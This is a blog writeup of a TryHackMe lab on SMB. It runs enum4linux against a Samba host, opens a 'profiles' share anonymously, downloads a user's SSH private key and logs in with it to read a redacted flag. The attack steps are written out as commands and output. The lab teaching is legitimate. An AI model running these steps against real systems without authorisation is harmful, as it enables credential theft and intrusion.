> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Network Services 1 (SMB) Writeup
- URL: https://taiwanding.com/en/tryhackme-network-services-smb-writeup-2/
- Published: 2025-10-26T02:10:26.000Z
- Updated: 2026-08-10T10:22:12.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

📚 Series · TryHackMe Network Services

1. ▸ Part 1: SMB  (this post)
2. [Part 2: SMTP](https://taiwanding.com/en/tryhackme-network-services-2-smtp-writeup/)
3. [Part 2: MySQL](https://taiwanding.com/en/tryhackme-network-services-2-mysql-writeup/)

Note: this room is split into several parts, so I'll be documenting the info for each one separately.

### **📋 Target Info**

- **Target IP:** `10.201.x.x`
- **Service:** SMB (Samba on Ubuntu)
- **Goal:** Gain system access by exploiting SMB misconfigurations

### 1\. Enumerating the SMB Service

Run a full enumeration with `enum4linux`:

```bash
enum4linux -a 10.201.15.179

```

**Key findings:**

#### **System Info**

- Hostname: `POLOSMB`
- OS: `Samba, Ubuntu`
- Workgroup: `WORKGROUP`

#### **Share Listing**

```
Sharename       Type      Comment
---------       ----      -------
netlogon        Disk      Network Logon Service
profiles        Disk      Users profiles          ⬅️ suspicious!
print$          Disk      Printer Drivers
IPC$            IPC       IPC Service

```

#### **Access Permission Test**

```
//10.201.15.179/profiles    Mapping: OK  Listing: OK  Writing: N/A

```

✅ **The `profiles` share allows anonymous access!**

#### **Password Policy**

```
Minimum password length: 5
Password Complexity: Disabled
Account Lockout Threshold: None

```

⚠️ The password policy is extremely lax

### 2\. Accessing the SMB Share Anonymously

Connect anonymously with `smbclient`:

```bash
smbclient //10.201.15.179/profiles -U Anonymous -N

```

List the contents of the share:

```bash
smb: \> ls

```

**Notable files found:**

- 📄 `Working From Home Information.txt` \- contains user info
- 📁 `.ssh/` \- SSH key directory

### 3\. Grabbing the Sensitive Data

#### **Download the text file:**

```bash
smb: \> get "Working From Home Information.txt"

```

#### **Enter the .ssh directory and download the private key:**

```bash
smb: \> cd .ssh
smb: \.ssh\> ls
smb: \.ssh\> get id_rsa
smb: \.ssh\> exit

```

### 4\. Analyzing the Downloaded Files

Check the contents of the text file (it should reveal the username `cactus`):

```bash
cat "Working From Home Information.txt"

```

Set the permissions on the SSH private key:

```bash
chmod 600 id_rsa

```

### 5\. SSH Login

Log in using the SSH private key we obtained:

```bash
ssh -i id_rsa cactus@10.201.15.179

```

**Logged in successfully!**

```
Welcome to Ubuntu 20.04.6 LTS
cactus@POLOSMB:~$

```

### **6\. Grabbing the Flag**

```bash
cactus@POLOSMB:~$ ls
smb.txt

cactus@POLOSMB:~$ cat smb.txt
THM{Redacted}

```

## Key Takeaways

- ✅ `enum4linux` \- SMB enumeration
- ✅ `smbclient` \- SMB client access
- ✅ SSH key authentication
- ✅ Linux file permission management